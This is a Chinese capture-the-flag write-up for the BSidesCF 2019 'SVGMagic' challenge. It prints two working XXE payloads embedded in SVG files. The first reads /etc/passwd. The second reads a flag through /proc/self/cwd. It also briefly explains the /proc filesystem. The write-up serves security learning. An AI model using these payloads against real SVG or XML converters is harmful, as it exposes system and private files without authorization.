当前位置: 首页 > article >正文

[BSidesCF 2019]SVGMagic

打开题目

给了提示,使用魔法将svg转换成png,搜索了一下svg

是一种XML标记语言,既然是XML,就可能存在XXE漏洞

构造一个XML外部实体注入(XXE)攻击,尝试一下

<!ENTITY file SYSTEM "file:///etc/passwd" > 定义一个外部实体 file任意文件读取,读取/etc/passwd用户配置文件

在SVG部分中,&file; 通过文本引用该实体,试图将文件的内容嵌入到SVG输出中。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///etc/passwd" >

]>

<svg height="300" width="300">

  <text x="30" y="30">&file;</text>

</svg>

上传发现可以正常读取

然后构造读取flag

/proc 文件系统:它是一个虚拟文件系统,提供了运行时系统信息,如进程信息、内存状态、系统配置等。

/proc/self:它是指当前正在访问该路径的进程自身。无论哪个进程访问 /proc/self,它总是指向调用者进程的 /proc/[pid] 目录。

cwd:代表“current working directory”(当前工作目录)。当你访问 /proc/self/cwd/ 时,你实际上是在查看当前进程的工作目录。

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [

<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >

]>

<svg height="300" width="3000">

  <text x="30" y="30">&file;</text>

</svg>

上传得到flag


http://www.kler.cn/a/403119.html

相关文章:

  • 内外网交换过程中可能遇到的安全风险有哪些?
  • Parker派克防爆电机在实际应用中的安全性能如何保证?
  • 「甲子光年」对话黄翔:从电子签回望中国SaaS“黄金十年”
  • 【Three.js基础学习】28.Coffee Smoke
  • Spring Boot核心概念:日志管理
  • 深入解析生成对抗网络(GAN)
  • 代替Spinnaker 的 POINTGREY工业级相机 FLIR相机 Python编程案例
  • pytest | 框架的简单使用
  • Knife4j与springboot集成自动编写API文档
  • 《生成式 AI》课程 第3講 CODE TASK 任务3:自定义任务的机器人
  • 【传知代码】VRT_ 关于视频修复的模型
  • mysql中mvcc如何处理纯读事务的?
  • 《数据结构》学习系列——图(上)
  • 如何控制自己玩手机的时间?两台苹果手机帮助自律
  • JDBC使用p6spy记录实际执行SQL方法【解决SQL打印两次问题】
  • AWS 多区域部署实战:Route 53 加权路由与多层健康检查
  • 反转链表、链表内指定区间反转
  • 10 基于深度学习的目标检测
  • Redis 集群主要有以下几种类型
  • 【Android原生问题分析】夸克、抖音划动无响应问题【Android14】
  • 2. Django中的URL调度器 (自定义路径转换器)
  • Windows Server 2022 Web1
  • misc设备驱动
  • [系统安全]PE文件头中的重定位表
  • springboot-事务失效以及排查过程
  • wife_wife